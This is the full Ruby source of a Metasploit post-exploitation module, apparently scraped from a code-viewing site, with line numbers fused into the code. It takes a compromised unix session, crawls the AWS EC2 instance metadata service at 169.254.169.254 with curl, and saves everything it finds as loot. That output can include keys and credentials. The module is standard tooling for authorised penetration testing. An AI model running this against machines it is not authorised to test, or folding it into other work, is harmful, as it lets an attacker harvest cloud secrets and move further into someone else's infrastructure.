Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/multi/gather/aws_ec2_instance_metadata.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6def initialize(info = {})7super(8update_info(9info,10'Name' => 'Gather AWS EC2 Instance Metadata',11'Description' => %q{12This module will attempt to connect to the AWS EC2 instance metadata service13and crawl and collect all metadata known about the session'd host.14},15'License' => MSF_LICENSE,16'Author' => [17'Jon Hart <jon_hart[at]rapid7.com>' # original metasploit module18],19# TODO: is there a way to do this on Windows?20'Platform' => %w[unix],21'SessionTypes' => %w[shell meterpreter],22'References' => [23[ 'URL', 'http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html' ]24]25)26)2728register_advanced_options(29[30OptString.new('TARGETURI', [true, 'AWS EC2 Instance metadata URI', 'http://169.254.169.254/latest/meta-data/'])31]32)33end3435def check_aws_metadata36resp = simple_get(@target_uri)37unless resp =~ /^instance-id$/38fail_with(Failure::BadConfig, 'Session does not appear to be on an AWS EC2 instance')39end40resp41end4243def check_curl44unless cmd_exec('curl --version') =~ /^curl \d/45fail_with(Failure::BadConfig, 'curl is not installed')46end47end4849def get_aws_metadata(base_uri, base_resp)50r = {}51base_resp.split(/\r?\n/).each do |l|52new_uri = "#{base_uri}#{l}"53if l =~ %r{/$}54# handle a directory55r[l.gsub(%r{/$}, '')] = get_aws_metadata(new_uri, simple_get(new_uri))56elsif new_uri.to_s =~ %r{/public-keys/} && /^(?<key_id>\d+)=/ =~ l57# special case handling of the public-keys endpoint58new_uri = new_uri.slice(0..(new_uri.index(%r{/public-keys/}) + '/public-keys'.length))59key_uri = "#{new_uri}#{key_id}/"60key_resp = simple_get(key_uri)61r[key_id] = get_aws_metadata(key_uri, key_resp)62else63r[l] = simple_get(new_uri)64end65end66r67end6869def run70check_curl71resp = check_aws_metadata7273print_status('Gathering AWS EC2 instance metadata')74metadata = get_aws_metadata(@target_uri, resp)7576metadata_json = JSON.pretty_generate(metadata)77file = store_loot('aws.ec2.instance.metadata', 'text/json', session, metadata_json, 'aws_ec2_instance_metadata.json', 'AWS EC2 Instance Metadata')7879if datastore['VERBOSE']80vprint_good('AWS EC2 instance metadata')81print_line(metadata_json)82end83print_good("Saved AWS EC2 instance metadata to to #{file}")84end8586def setup87@target_uri ||= URI(datastore['TARGETURI'])88rescue ::URI::InvalidURIError89fail_with(Failure::BadConfig, "Invalid TARGETURI: #{datastore['TARGETURI']}")90end9192def simple_get(url)93vprint_status("Fetching #{url}")94cmd_exec("curl -s #{url}")95end96end979899